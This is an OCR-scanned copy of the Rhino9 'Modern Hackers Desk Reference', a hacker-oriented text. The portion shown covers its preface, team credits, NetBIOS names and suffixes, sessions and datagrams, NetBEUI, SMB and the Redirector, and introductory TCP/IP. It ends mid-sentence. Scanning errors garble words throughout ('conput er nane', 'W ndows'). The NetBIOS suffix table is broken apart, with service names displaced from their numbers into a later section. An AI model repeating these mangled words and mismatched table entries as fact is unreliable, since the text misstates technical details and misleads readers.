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This ones for you Kevin...May the Condor fly once nore...

[0.0.0] Preface

Thi s book was witten/conpiled by The Rhino9 Team as a document for the nodern hacker. W

chose to call it the Mddern Hackers Desk Reference because it nostly deals with Networking
Technol ogi es and W ndows NT issues. Wich, as everyone knows, is a nust know edge these

days. Well, rhino9, as the premere NI Security source, we have continually given to the security
community freely. W continue this tradition nowwith this extrenely useful book. This book
covers W ndowsNT security issues, Unix, Linux, Irix, Vax, Router configuration, Frontpage,

W ngate and nuch nuch nore
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[0.0.1] The Rhino9 Team

At the tine of release, the rhino9 teamis:

NeonSur ge (neonsurge@otnail.com [Security/ Technical Research/ Senior Menber]

Chanel eon (chanel eon@enmil . con) [Security/ Software Devel oper/ Seni or Menber]

Vacuum (vacuum@ echnotroni c. com) [ Security/ Software Research/ Senior Menber]

Rut e (banshee@vil -enpire.con) [Security/ Software Devel oper/ Code Guru]

Syndi cate (syndi cate@enuil.con) [Security/HTM. Operations/ Seni or Menber]

The090000 (090000@ ntercore.comar) [Security]

DenonByt ez (root @ybrids.org) [Security]

Net Jammer (netjamer @-trene.org) [Security]

[0.0.2] Disclainer

This text docunent is released FREE of charge to EVERYONE. The rhi no9 team nade NO

profits fromthis text. This text is NOT neant for re-sale, or for trade for any other type of

mat eri al

or nonetary possesions. This text is given freely to the Internet community. The authors of this
text do not take responsibility for damages incurred during the practice of any of the information
contained within this text docunent.

[0.0.3] Thanks and Greets

Extra special greetings and serious nad ass props to NeonSurge's fiance SisterMon, and

Chamel eon’ s woman, Jayde. Special thanks to the people at ntsecurity.net. Special thanks to
Sinpl e Nomad for releasing the NT HACK FAQ which was used in the naking of this docunent.

Thanks to Ci sco Systems for nmaki ng such superior equi pnent. Thanks to the guy from Lucent
Technol ogi es, whose text file was used during one of the NT Security sections (if you see this,
contact nme so | can give you proper credit). Special props go out to Virtual of Cybrids for his

i nformati on on Cel | Phones and Pagers. Special props to Phreak-0 for his Unix contributions. Md
props to Hellnmaster for the Vax info. Thanks to R oxley and the rest of X-Trenme for helping with
the distribution and advertising of this docunent. Thanks to Merlin45 for being the marketing pinp
that he is. Special thanks to InterCore for the unix information. Greetings to Cybrids, Intercore
XTr emne,

LOpht, CodeZero (grins), 2600 Magazi ne (thanks for your vigilance on the Mtnick case).

[1.0.0] Preface to NetBIOS

Bef ore you begin reading this section, understand that this section was witten for the novice to

the concept of NetBIGS, but - it also contains information the veteran might find educational.
am

prefacing this so that | do not get e-nail like "Wy did you start your NetBlIOS section off so
basic?" - Sinple, its witten for people that nay be com ng froman environent that does not use

Net BI OS, so they would need ne to start with basics, thanks.

[1.0.1] Whats is NetBIOS?

Net BI OS (Networ k Basic | nput/Qutput Systen) was originally devel oped by I BMand Sytek as an
Application Programming Interface (API) for client software to access LAN resources. Since its
creation, NetBl OS has becone the basis for nmany other networking applications. In its strictest
sense, NetBIOS is an interface specification for acessing networking services.

Net Bl CS, a |ayer of software developed to link a network operating systemwth specific
hardware, was originally designed as THE network controller for IBMs Network LAN. NetBI CS

has now been extended to allow programs witten using the NetBIGCS interface to operate on the
IBMtoken ring architecture. NetBlI OS has since been adopted as an industry standard and now, it
is conmon to refer to NetBl GS-conpati bl e LANs.

It offers network applications a set of "hooks" to carry out inter-application comrunication and
data transfer. In a basic sense, NetBIOS allows applications to talk to the network. Its intention
is

to isolate application programs fromany type of hardware dependancies. It al so spares software
devel opers the task of devel oping network error recovery and | ow | evel nessage addressing or
routing. The use of the NetBIOS interface does alot of this work for them

Net Bl OS standardi zes the interface between applications and a LANs operating capabilities. Wth
this, it can be specified to which levels of the OCSI nodel the application can wite to, making
t he

application transportable to other networks. In a NetBlI OS LAN environent, conputers are known
on the system by a nane. Each conputer on the network has a permanent nane that is

programmed in various different ways. These nanes wi |l be discussed in nore detail bel ow.

PC s on a NetBI OS LAN comuni cate either by establishing a session or by using NetBlICS

dat agram or broadcast nethods. Sessions allow for a |arger nessage to be sent and handl e error
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detection and correction. The conmunication is on a one-to-one basis. Datagram and broadcast

nmet hods al | ow one conputer to communicate with several other conputers at the sane tine, but
are limted in nessage size. There is no error detection or correction using these datagram or
broadcast nethods. However, datagram conmunication allows for communication w thout having

to establish a session.

Al'l communi cation in these environments are presented to NetBIOS in a format call ed Network
Control Blocks (NCB). The allocation of these blocks in nenory is dependant on the user

program These NCB' s are divided into fields, these are reserved for input and out put
respectively.

NetBIOS is a very comon protocol used in todays environents. NetBIOS is supported on

Et hernet, TokenRing, and I BM PC Networks. In its original induction, it was defined as only an
interface between the application and the network adapter. Since then, transport |ike functions
have been added to NetBlI OS, nmaking it nore functional over tine.

In NetBI GS, connection (TCP) oriented and connectionl ess (UDP) communication are both
supported. It supports both broadcasts and nulticasting and supports three distinct services:
Nam ng, Session, and Datagram

[1.0.2] NetBI OS Nanes

Net BI OS nanes are used to identify resources on a network. Applications use these nanes to
start and end sessions. You can configure a single machine with nultiple applications, each of
whi ch has a uni que NetBI OS nanme. Each PC that supports an application also has a Net Bl CS
station name that is user defined or that NetBlI OGS derives by internal neans.

Net BI OS can consist of up to 16 al phanuneric characters. The conbi nati on of characters nust

be unique within the entire source routing network. Before a PC that uses NetBlIOS can fully
function on a network, that PC nust register their NetBlI OGS nane.

Wien a client becones active, the client advertises their name. A client is considered to be
regi stered when it can successfully advertise itself without any other client claimng it has the
sanme nane. The steps of the registration process is as follows:

1. Upon boot up, the client broadcasts itself and its NetBI OS i nformati on anywhere from6 to 10 to
ensure every other client on the network receives the information

2. If another client on the network already has the nane, that NetBIOS client issues its own
broadcast to indicate that the name is in use. The client who is trying to register the already in
use

nane, stop all attenpts to register that nane.

3. If no other client on the network objects to the nanme registration, the client will finish the
regi stration process.

There are two types of nanes in a NetBlI OS environent: Unique and G oup. A unique name nust

be uni que across the network. A group name does not have to be unique and all processes that
have a given group nane belong to the group. Each NetBlI OS node nmintains a table of al

nanes currently owned by that node.

The Net BI OS nam ng convention allows for 16 characters in a NetBICS nane. M crosoft,

however, limts these names to 15 characters and uses the 16th character as a NetBIOS suffix. A
Net BI OS suffix is used by Mcrosoft Networking software to indentify the functionality installed
or

the regi stered device or service.

[ Qui ckNot e: SMB and NBT (NetBIOS over TCP/IP work very closely together and both use ports

137, 138, 139. Port 137 is NetBlI OGS nanme UDP. Port 138 is NetBlI OGS datagram UDP. Port 139 is
Net Bl OS session TCP. For further information on NetBIGS, read the paper at the rhino9 website
Iisted above]

The following is a table of NetBlI OS suffixes currently used by Mcrosoft WndowsNT. These
suffixes are displayed in hexadeci mal fornmat.

Name Number Type Usage

<conput er name> 00 U Workstati on Service
<conput er name> 01 U Messenger Service
<\\ MSBROWSE > 01 G Master Browser
<comput er name> 03 U Messenger Service
<conput ernane> 06 U RAS Server Service
<conput er name> 1F U Net DDE Servi ce
<conput ername> 20 U File Server Service
<conput ername> 21 U RAS dient Service

file://ID|//WEB/hacker/TheModHackReference.txt (8 of 169) [9/12/2004 8:18:40 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

<conput er nane> 22
<conput er nanme> 23
<conput er nane> 24
<conput er nanme> 30
<conput er nane> 31
<conput er nane> 43
<conput er nane> 44
<conput er name> 45
<conput er nane> 46
<conput er nanme> 4C
<conput er nane> 52
<conput er nane> 87
<conput er nane> 6A
<comput er name> BE U Network Monitor Agent

<conput er nane> BF Net wor k Moni t or Apps

<user nanme> 03 U Messenger Service

<donai n> 00 G Donai n Nane

<donmi n> 1B U Donai n Master Browser

<donmai n> 1C G Donain Controllers

<domai n> 1D U Master Browser

<domai n> 1E G Browser Service El ections

<| Net ~Servi ces> 1C G Internet Information Server

<| S~Conput er _nanme> 00 U Internet Infornation Server

<conput ername> [ 2B] U Lotus Notes Server

| R SMULTI CAST [2F] G Lotus Notes

| R SNAMESERVER [ 33] G Lotus Notes

Forte_$NDBOOZA [20] U DCA Irnal an Gateway Service

Uni que (U): The nane may have only one | P address assigned to it. On a network devi ce,

mul ti pl e occurences of a single name may appear to be registered, but the suffix will be unique,
maki ng the entire nanme unique.

Goup (Q: A nornmal group; the single nane nay exist with many | P addresses.

Mul ti homed (M: The nane is unique, but due to nultiple network interfaces on the same

computer, this configuration is necessary to permt the registration. Mximm nunber of

addresses is 25.

Internet Group (I): This is a special configuration of the group name used to nmanage W nNT
donmai n nanes.

Domain Nane (D): New in NT 4.0

For a quick and dirty ook at a servers registered NetBlI OS nanes and services, issue the

foll owi ng NBTSTAT conmand:

nbtstat -A [i paddress]

nbtstat —a [host]

[1.0.3] NetBIOS Sessions

The Net BI CS session service provides a connection-oriented, reliable, full-duplex nessage
service to a user process. NetBlI OGS requires one process to be the client and the other to be the
server. NetBlI OS session establishment requires a preordai ned cooperati on between the two
stations. One application nust have issued a Listen comand when another application issues a
Call command. The Listen conmand references a nane in its NetBI OGS nane table (or WNS

server), and also the renpte nane an application nmust use to qualify as a session partner. |If the
receiver (listener) is not already listening, the Call will be unsuccessful. If the call is
successful,

each application receives notification of session establishnent with the session-id. The Send and
Recei ve conmmands the transfer data. At the end of a session, either application can issue a
Hang- Up command. There is no real flow control for the session service because it is assuned a
LAN is fast enough to carry the required traffic.

[1.0.4] NetBI CS Datagrans

Dat agrans can be sent to a specific name, sent to all menbers of a group, or broadcast to the
entire LAN. As with other datagram services, the NetBl OS datagrans are connectionl ess and
unreliable. The Send_Dat agram command requires the caller to specify the nane of the

destination. If the destination is a group nane, then every nmenber of the group receives the
datagram The caller of the Receive_ Datagram command rmust specify the |ocal name for which it
wants to receive datagrans. The Recei ve_Dat agram conmand al so returns the nanme of the

Exchange | nt erchange
Exchange Store

Exchange Directory

Modem Sharing Server Service
Modem Sharing Client Service
SM5 dient Renpbte Contro

SM5 Adnin Renmpte Control Tool
SM5 dient Renote Chat

SM5 dient Renote Transfer
DEC Pat hwor ks TCPI P Servi ce
DEC Pat hwor ks TCPI P Servi ce
Exchange MIA

Exchange | MC

ccccccccccccccc
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sender, in addition to the actual datagramdata. If NetBlI OS receives a datagram but there are no
Recei ve_Dat agr am conmands pendi ng, then the datagramis di scarded.

The Send_Broadcast _Dat agram command sends the nessage to every NetBlI OS system on the

| ocal network. When a broadcast datagramis received by a NetBlI OGS node, every process that

has issued a Recei ve_Broadcast Dat agram conmand receives the datagram |f none of these
commands are outstandi ng when the broadcast datagramis received, the datagramis di scarded.
Net Bl OS enabl es an application to establish a session with another device and | ets the network
redi rector and transaction protocols pass a request to and from anot her machi ne. Net Bl OS does
not actually mani pul ate the data. The NetBI OS specification defines an interface to the network
protocol used to reach those services, not the protocol itself. Historically, has been paired with
a

networ k protocol called NetBEU (network extended user interface). The association of the
interface and the protocol has sonetinmes caused confusion, but the two are different.

Net wor k protocols al ways provide at |east one method for |ocating and connecting to a particul ar
service on a network. This is usually acconplished by converting a node or service nanme to a

net wor k address (nane resol ution). NetBlI OS service nanes nust be resolved to an | P address

bef ore connections can be established with TCP/IP. Mdst NetBICOS i nplenentations for TCP/IP
acconpl i sh name address resol ution by using either broadcast or LVHOSTS files. In a M crosoft
enviroment, you woul d probably also use a NetBI OS Namer Server known as W NS.

[1.0.5] NetBEU Expl ai ned

Net BEUI is an enhanced version of the NetBlI OS protocol used by network operating systems. It
formalizes the transport frane that was never standardi zed in NetBlI OS and adds additiona
functions. The transport |ayer driver frequently used by Mcrosofts LAN Manager. Net BEU

i mpl enents the OSI LLC2 protocol. NetBEU is the original PC networking protocol and interface
designed by IBMfor the LanManger Server. This protocol was |ater adopted by Mcrosoft for their
net wor ki ng products. It specifies the way that higher |evel software sends and recei ves nessages
over the NetBI OS franme protocol. This protocol runs over the standard 802.2 data-link protoco

| ayer.

[1.0.6] NetBIOS Scopes

A Net Bl OS Scope | D provides an extended nam ng service for the NetBI OGS over TCP/I P (Known

as NBT) nodule. The primary purpose of a NetBIOS scope IDis to isolate NetBIOS traffic on a
single network to only those nodes with the sane NetBlI OGS scope ID. The NetBlICS scope IDis a
character string that is appended to the NetBlI OS nane. The NetBlI OS scope ID on two hosts

must match, or the two hosts will not be able to conmunicate. The NetBlI OS Scope ID al so all ows
conputers to use the sane conputer nanee as they have different scope IDs. The Scope ID

becones a part of the NetBlI OS nanme, making the name uni que

[1.2.0] Preface to SMB's

The reason | decided to wite this section was because recently the rhino9 team has been giving
speeches and | ectures. The two questions we nost frequently cone across is "Wat is

Net Bl OS?" and "What are SMBs?". Well | hope | have already answered the Net Bl OS question

with the section above. This particular section is being witten to better hel p peopl e understand
SMB' s.

[1.2.1] What are SMB' s?

Server Message Blocks are a type of "messaging protocol" that LAN Manager (and NT) clients

and servers use to conmunicate with each other. SMB's are a higher |evel protocol that can be
transported over NetBEUI, NetBIOS over |PX, and NetBI OGS over TCP/IP (or NBT).

SMBs are used by Wndows 3. X, Wn95, WntNT and OS/2. Wien it cones to security and the
conprom se of security on an NT network, the one thing to remenber about SMBs is that it

allows for renote access to shared directories, the registry, and other system services, nmaking it
a deadly protocol in the eyes of security conscience people.

The SMB protocol was originally devel oped by I1BM and then jointly devel oped by M crosoft and
IBM Network requests that are sent using SMB's are encoded as Network Control Bl ocks (NCB)

data structures. The NCB data structures are encoded in SMB format for transmi ssion across the
network. SMB is used in nmany Mcrosoft and | BM networki ng sof tware:

? M5 Net

| BM PC Net wor k

| BM LAN Server

M5 LAN Manager

LAN Manager for Unix

DEC Pat hwor ks

M5 W ndows for Workgroups

N N ) ) ) )
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? Unger mann-Bass Net/1

? NT Networ ks through support for LAN Manager

SMB Messages can be categorized into four types:

Session Control: Used to establish or discontinue Redirector connections with a renote network
resource such as a directory or printer. (The redirector is explained bel ow)

File: Used to access and nanipul ate file systemresources on the renote conputer.

Printer: Used by the Redirector to send print data to a renmote printer or queue, and to obtain the
status of renote print devices.

Message: Used by applications and system conmponents to send uni cast or broadcast messages.
[1.2.2] The Redirector

The Redirector is the conponent that enables a client conputer to gain access to resources on
anot her conputer as if the renpte resources were local to the client conputer. The Redirector
conmuni cates with other conputers using the protocol stack

The Redirectors primary function is to fornmat renote requests so that they can be understood by
a renote station (such as a file server) and send themon their way through the network.

The Redirector uses the Server Message Bl ock (SMB) structure as the standard vehicle for

sendi ng these requests. The SMB is also the vehicle by which stations return responses to

Redi rect or requests.

Each SMB contai ns a header consisting of the command code (which specifies the task that the
redirector wants the renote station to perform and several environment and paraneter fields

(whi ch specify how the command should be carried out).

In addition to the header, the last field in the SMB may contain up to 64K of data to be sent to
t he

renmote station.

[2.0.0] What is TCP/IP?

TCP/IP is a set of protocols devel oped to all ow cooperating conmputers to share resources across
a network. It was devel oped by a community of researchers centered around the ARPAnet

(Advanced Research Projects Agency). Certainly the ARPAnet is the best-known TCP/IP

net wor k. However as of June, 87, at |east 130 different vendors had products that support

TCP/ I P, and thousands of networks of all kinds use it.

First sone basic definitions. The npbst accurate nane for the set of protocols we are describing is
the "Internet protocol suite". TCP and IP are two of the protocols in this suite. (They will be
descri bed bel ow.) Because TCP and I P are the best known of the protocols, it has become

comon to use the term TCP/IP to refer to the whole famly

The Internet is a collection of networks, including the Arpanet, NSFnet, regi onal networks such as
NYsernet, |ocal networks at a number of University and research institutions, and a nunber of
nmlitary networks and a growi ng nunber of private corporati on owned networks. The term
"Internet" applies to this entire set of networks. The subset of themthat is managed by the
Department of Defense is referred to as the "DDN' (Defense Data Network). This includes sone
research-oriented networks, such as the Arpanet, as well as nore strictly mlitary ones. Al of
these networks are connected to each other. Users can send nessages fromany of themto any
other, except where there are security or other policy restrictions on access.

O ficially speaking, the Internet protocol docunents are sinply standards adopted by the Internet
community for its own use. More recently, the Departnment of Defense issued a M LSPEC

definition of

TCP/IP. This was intended to be a nore formal definition, appropriate for use in purchasing

speci fications. However nobst of the TCP/IP community continues to use the Internet standards.

The M LSPEC version is intended to be consistent with it.

Whatever it is called, TCP/IP is a fanmily of protocols. A few provide "lowlevel" functions needed
for many applications. These include IP, TCP, and UDP. (These will be described in a bit nore

detail later.)

QO hers are protocols for doing specific tasks, e.g. transferring files between conputers, sending
mail, or finding out who is logged in on another conputer. Initially TCP/IP was used nostly

bet ween

m ni conputers or mai nfranes. These nmachi nes had their own disks, and generally were sel fcontai ned.
Thus the nost inportant "traditional" TCP/IP services are:

[2.0.1] File Transfer

The file transfer protocol (FTP) allows a user on any conputer

to get files fromanother conputer, or to send files to another

conputer. Security is handled by requiring the user to specify a user

nane and password for the other conputer, or logging into a systemthat
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al l ows for Anonynous |ogins. Provisions are nmade for

handling file transfer between machines with different character set,

end of line conventions, etc. This is not quite the same thing as nore

recent "network file systenm or "NetBlIOS" protocols, which will be

descri bed below. Rather, FTP is a utility that you run any tinme you

want to access a file on another system You use it to copy the file

to your own system You then work with the | ocal copy. (See RFC 959

for specifications for FTP.)

[2.0.2] Renote Login

The network term nal protocol (TELNET) allows a user to log in

on any other conputer on the network. You start a renote session by

specifying a conputer to connect to. Fromthat time until you finish

t he session, anything you type is sent to the other conputer. Note

that you are really still talking to your own conputer. But the tel net

program ef fectively makes your conputer invisible while it is

runni ng. Every character you type is sent directly to the other

system GCenerally, the connection to the renbte conputer behaves nuch

like a dialup connection. That is, the renbte systemw Il ask you to

log in and give a password, in whatever manner it would normally ask a

user who had just dialed it up. Wen you |l og off of the other

conmputer, the telnet programexits, and you will find yourself talking

to your own conputer. M croconputer inplenmentations of telnet

generally include a term nal enulator for sone common type of

termnal. (See RFC s 854 and 855 for specifications for telnet. By the

way, the telnet protocol should not be confused with Tel enet, a vendor

of commercial network services.)

[2.0.3] Conputer Mil

This allows you to send nessages to users on other

conputers. Oiginally, people tended to use only one or two specific

conmputers. They would nmaintain "nail files" on those machi nes. The

conmputer mail systemis sinply a way for you to add a nessage to

another user's nmail file. There are sonme problens with this in an

envi ronnent where nicroconputers are used. The nost serious is that a

mcro is not well suited to receive conputer mail. Wen you send nail

the mail software expects to be able to open a connection to the

addressee's conputer, in order to send the nail. If this is a

nmi croconputer, it may be turned off, or it nmay be running an

application other than the mail system For this reason, mail is

normal |y handled by a | arger system where it is practical to have a

mai | server running all the time. Mcroconputer mail software then

becones a user interface that retrieves mail fromthe nai

server. (See RFC 821 and 822 for specifications for conputer nail. See

RFC 937 for a protocol designed for nicroconputers to use in reading

mail froma mail server.)

These services should be present in any inplenentation of TCP/IP, except that nicro-oriented
i npl enentati ons may not support computer mail. These traditional applications still play a very
important role in TCP/IP-based networks. However nore recently, the way in which networks are
used has been changi ng. The ol der nodel of a nunber of |arge, self-sufficient conputers is
begi nning to change. Now many installations have several kinds of conputers, including

m croconputers, workstations, niniconmputers, and nai nframes. These conputers are likely to be
configured to perform specialized

tasks. Al though people are still likely to work with one specific conputer, that computer wll
call on

other systens on the net for specialized services. This has led to the "server/client" nodel of
network services. A server is a systemthat provides a specific service for the rest of the
net wor k.

A client is another systemthat uses that service. (Note that the server and client need not be on
different conputers. They could be different prograns running on the same conputer.)

Here are the kinds of servers typically present in a nodern conputer setup. Note that these
conputer services can all be provided within the framework of TCP/IP.

[2.0.4] Network File Systemns
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This allows a systemto access files on another conmputer in a

somewhat nore closely integrated fashion than FTP. A network file
system provides the illusion that disks or other devices from one
systemare directly connected to other systens. There is no need to
use a special network utility to access a file on another system Your
computer sinply thinks it has sone extra disk drives. These extra
"virtual" drives refer to the other system s disks. This capability is
useful for several different purposes. It lets you put |arge disks on
a few computers, but still give others access to the di sk space. Aside
fromthe obvious economic benefits, this all ows people working on
several conputers to share conmon files. It nmakes system mai ntenance
and backup easier, because you don't have to worry about updating and
backi ng up copies on lots of different machines. A nunber of vendors
now of f er hi gh-performance di skl ess conputers. These conputers have no
disk drives at all. They are entirely dependent upon disks attached to
common “file servers". (See RFC s 1001 and 1002 for a description of
PC-oriented NetBIOS over TCP. In the workstati on and m ni conput er
area, Sun's Network File Systemis nore likely to be used. Protoco
specifications for it are available from Sun M crosystens.)

[2.0.5] Renote Printing

This allows you to access printers on other computers as if

they were directly attached to yours. (The nmobst commonly used protoco
is the renote lineprinter protocol from Berkeley Unix. Unfortunately,
there is no protocol docunment for this. However the C code is easily
obt ai ned from Berkel ey, so inplenentations are conmon.)

[2.0.6] Renote Execution

This allows you to request that a particul ar programbe run on

a different conputer. This is useful when you can do nost of your work
on a small conputer, but a few tasks require the resources of a |arger
system There are a nunber of different kinds of renote execution

Sone operate on a command by command basis. That is, you request that
a specific command or set of commands should run on sone specific
conmputer. (More sophisticated versions will choose a systemt hat
happens to be free.) However there are also "renote procedure call™
systens that allow a programto call a subroutine that will run on
anot her conputer. (There are nany protocols of this sort. Berkeley
Uni x contains two servers to execute conmands renotely: rsh and

rexec. The man pages describe the protocols that they use. The
user-contributed software with Berkeley 4.3 contains a "distributed
shell™ that will distribute tasks anong a set of systens, depending
upon | oad. Renote procedure call nechani sns have been a topic for
research for a nunber of years, so many organi zati ons have

i mpl ement ati ons of such facilities. The nost w despread
commerci al | y-supported renote procedure call protocols seemto be
Xerox's Courier and Sun's RPC. Protocol documents are available from
Xerox and Sun. There is a public inplenentation of Courier over TCP as
part of the user-contributed software with Berkeley 4.3. An

i mpl enentati on of RPC was posted to Usenet by Sun, and al so appears as
part of the user-contributed software with Berkeley 4.3.)

[2.0.7] Name Servers

In large installations, there are a nunber of different

coll ections of nanes that have to be managed. This includes users and
their passwords, names and network addresses for conputers, and
accounts. It becones very tedious to keep this data up to date on al

of the conputers. Thus the databases are kept on a snall nunber of
systems. Ot her systenms access the data over the network. (RFC 822 and
823 descri be the name server protocol used to keep track of host nanes
and I nternet addresses on the Internet. This is now a required part of
any TCP/IP inplenmentation. IEN 116 describes an ol der nanme server
protocol that is used by a few termnal servers and other products to
| ook up host nanmes. Sun's Yell ow Pages systemis designed as a genera
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nmechani smto handl e user nanmes, file sharing groups, and other

dat abases commonly used by Unix systens. It is widely available

comercially. Its protocol definition is available from Sun.)

[2.0.8] Term nal Servers

Many installations no | onger connect terminals directly to

conmputers. Instead they connect themto terninal servers. A termna

server is sinply a small conmputer that only knows how to run tel net

(or some other protocol to do renote login). If your termnal is

connected to one of these, you sinply type the nane of a conputer, and

you are connected to it. Generally it is possible to have active

connections to nore than one conputer at the sane tinme. The term na

server will have provisions to switch between connections rapidly, and

to notify you when output is waiting for another connection. (Term na

servers use the telnet protocol, already nmentioned. However any rea

termnal server will also have to support nane service and a nunber of

ot her protocols.)

[2.0.9] Network-Oriented Wndow Syst ens

Until recently, high- performance graphics prograns had to

execute on a conputer that had a bit-napped graphics screen directly

attached to it. Network wi ndow systens allow a programto use a

di splay on a different conputer. Full-scale network w ndow systens

provide an interface that lets you distribute jobs to the systens that

are best suited to handle them but still give you a single

graphi cal | y-based user interface. (The nost w dely-inpl emented w ndow

systemis X. A protocol description is available fromMT s Project

At hena. A reference inplenentation is publicly available fromMT. A

nunber of vendors are al so supporting NeWs, a w ndow system defi ned by

Sun. Both of these systens are designed to use TCP/IP.)

Not e that some of the protocols described above were designed by Berkel ey, Sun, or other

organi zations. Thus they are not officially part of the Internet protocol suite. However they are
i mpl ement ed

using TCP/IP, just as nornmal TCP/IP application protocols are. Since the protocol definitions are
not considered proprietary, and since comercially-support inplenmentations are wi dely avail abl e,
it is

reasonable to think of these protocols as being effectively part of the Internet suite.

Also note that the list above is sinply a sanple of the sort of services available through TCP/IP
However it does contain the majority of the "mmjor" applications. The other commonly-used
protocols tend to be

specialized facilities for getting information of various kinds, such as who is |logged in, the
time of

day, etc. However if you need a facility that is not |listed here, we encourage you to | ook through
the current edition of Internet Protocols (currently RFC 1011), which lists all of the available
protocols, and also to | ook at sone of the major TCP/IP inplenmentati ons to see what various
vendors have added.

[2.1.0] General description of the TCP/IP protocols

TCP/IP is a |layered set of protocols. In order to understand what this nmeans, it is useful to | ook
at

an exanple. A typical situation is sending nail. First, there is a protocol for nmail. This defines
a

set of commands whi ch one machi ne sends to another, e.g. conmands to specify who the sender

of the nessage is, who it is being sent to, and then the text of the nmessage. However this
protocol assunes that there is a way to communi cate reliably between the two conputers. Mil,

i ke other application protocols, sinply defines a set of commands and nessages to be sent. It is
designed to be used together with TCP and | P.

TCP is responsible for naking sure that the commands get through to the other end. It keeps

track of what is sent, and retransnits anything that did not get through. If any nessage is too

| arge for one

datagram e.g. the text of the nmail, TCP will split it up into several datagranms, and nmake sure

t hat

they all arrive correctly. Since these functions are needed for nany applications, they are put
together into
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a separate protocol, rather than being part of the specifications for sending mail. You can think
of

TCP as formng a library of routines that applications can use when they need reliabl e network
communi cati ons wi th anot her conputer

Simlarly, TCP calls on the services of IP. Although the services that TCP supplies are needed by
many applications, there are still some kinds of applications that don't need them However there
are sone

services that every application needs. So these services are put together into IP. As with TCP
you can think of IP as a library of routines that TCP calls on, but which is also available to
applications that don't use TCP. This strategy of building several |evels of protocol is called

"layering". Wt think of the applications prograns such as nmail, TCP, and I P, as being separate
"l ayers", each of which calls on the services of the |ayer belowit. CGenerally, TCP/IP
applications use 4 |layers: an application protocol such as mail, a protocol such as TCP that

provi des services

need by many applications | P, which provides the basic service of getting datagrans to their
destination the protocols needed to nmanage a specific physical nmedium such as Ethernet or a
point to point line.

TCP/IP is based on the "catenet nodel". (This is described in nore detail in |EN 48.) This nodel
assumes that there are a | arge nunber of independent networks connected together by

gat eways. The user should be able to access conputers or other resources on any of these

networ ks. Datagrams will often pass through a dozen different networks before getting to their
final destination.

The routing needed to acconplish this should be conpletely invisible to the user. As far as the
user is concerned, all he needs to know in order to access another systemis an "Internet
address". This is an

address that | ooks like 128.6.4.194. It is actually a 32-bit nunber. However it is normally
witten

as 4 deci mal nunbers, each representing 8 bits of the address. (The term"octet" is used by

I nternet docunentation for such 8-bit chunks. The term "byte" is not used, because TCP/IP is
supported by sone conputers that have byte sizes other than 8 bits.) Generally the structure of
t he address gives

you sone information about how to get to the system For exanple, 128.6 is a network nunber
assigned by a central authority to Rutgers University. Rutgers uses the next octet to indicate
whi ch of the

canpus Ethernets is involved. 128.6.4 happens to be an Ethernet used by the Conputer Science
Departnment. The last octet allows for up to 254 systens on each Ethernet. (It is 254 because 0
and 255 are not allowed, for reasons that will be discussed later.) Note that 128.6.4.194 and
128.6.5.194 would be different systens. The structure of an Internet address is described in a bit
nmore detail |ater

O course we normally refer to systens by nanme, rather than by Internet address. Wen we
specify a nane, the network software |ooks it up in a database, and cones up with the
correspondi ng | nternet

addr ess.

Most of the network software deals strictly in terns of the address. (RFC 882 describes the nane
server technol ogy used to handle this | ookup.) TCP/IP is built on "connectionl ess" technol ogy.
Information is transferred as a sequence of "datagrans". A datagramis a collection of data that
is

sent as a single

message. Each of these datagrans is sent through the network individually. There are provisions
to open connections (i.e. to start a conversation that will continue for sone tinme). However at
sonme |l evel, information fromthose connections is broken up into datagrams, and those

datagrans are treated by the network as conpletely separate.

For exanpl e, suppose you want to transfer a 15000 octet file. Mdst networks can't handle a
15000 octet datagram So the protocols will break this up into sonething |ike 30 500-octet

dat agrans. Each of these datagrans will be sent to the other end. At that point, they will be put
back together into the 15000- oct et

file. However while those datagrams are in transit, the network doesn't know that there is any
connection between them It is perfectly possible that datagram 14 will actually arrive before
datagram 13. It is al so possible that sonewhere in the network, an error will occur, and sone
datagramwon't get through at all. In that case, that datagram has to be sent again

Note by the way that the terns "datagrant and "packet" often seemto be nearly interchangable.
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Technically, datagramis the right word to use when describing TCP/IP. A datagramis a unit of
data, which is what the protocols deal with. A packet is a physical thing, appearing on an

Et her net

or sone wire. In nost cases a packet sinply contains a datagram so there is very little

di fference. However they can differ. Wien TCP/IP is used on top of X 25, the X 25 interface
breaks the datagrans up into 128-byte packets. This is invisible to | P, because the packets are
put back together into a single datagram at

the ot her end before being processed by TCP/IP. So in this case, one |IP datagram would be carried
by several packets. However with nost nmedia, there are efficiency advantages to sending

one dat agram per

packet, and so the distinction tends to vanish.

[2.1.1] The TCP Level

Two separate protocols are involved in handling TCP/I P datagranms. TCP (the "transni ssion

control protocol") is responsible for breaking up the nessage into datagranms, reassenbling them
at the other end, resending anything that gets lost, and putting things back in the right order.
I P

(the "internet protocol") is responsible for routing individual datagrans. It may seemlike TCP is
doing all the work. And

in small networks that is true. However in the Internet, sinply getting a datagramto its
destination

can be a conplex job. A connection may require the datagramto go through several networks at
Rutgers, a serial line to the John von Neunan Superconputer Center, a couple of Ethernets

there, a series of 56Kbaud phone |lines to another NSFnet site, and nore Ethernets on another
canmpus. Keeping track of

the routes to all of the destinations and handling inconmpatibilities anmong different transport
medi a

turns out to be a conplex job.

Note that the interface between TCP and IP is fairly sinple. TCP sinply hands IP a datagramwith
a destination. IP doesn't know how this datagramrelates to any datagram before it or after it.
It

may

have occurred to you that something is missing here. W have tal ked about Internet addresses,

but not about how you keep track of multiple connections to a given system Cearly it isn't
enough to get a

datagramto the right destination. TCP has to know which connection this datagramis part of.
This task is referred to as "denultiplexing." In fact, there are several |evels of demultiplexing
going on in TCP/IP. The information needed to do this demultiplexing is contained in a series of
"headers". A header is sinply a few extra octets tacked onto the begi nning of a datagram by

sonme protocol in order to keep track of it. It's alot like putting a letter into an envel ope and
putting

an address on the outside of the envel ope. Except with nodern networks it happens severa

times. It's like you put the letter into alittle

envel ope, your secretary puts that into a sonmewhat bigger envel ope, the canpus mail center puts
that envelope into a still bigger one, etc.

Here is an overview of the headers that get stuck on a nessage that passes through a typica
TCP/ 1 P net wor k:

We start with a single data stream say a file you are trying to send to sone other conputer

TCP breaks it up into manageabl e chunks. (In order to do this, TCP has to know how | arge a

dat agram your network can handle. Actually, the TCP's at each end say how big a datagramt hey
can handl e, and then they pick the smallest size.)

TCP puts a header at the front of each datagram This header actually contains at |east 20 octets,
but the nost inportant ones are a source and destination "port nunber"” and a "sequence

nunber"”. The port

nunbers are used to keep track of different conversations. Suppose 3 different people are
transferring files. Your TCP might allocate port numbers 1000, 1001, and 1002 to these transfers.
When you are sending a datagram this becones the "source" port number, since you are the

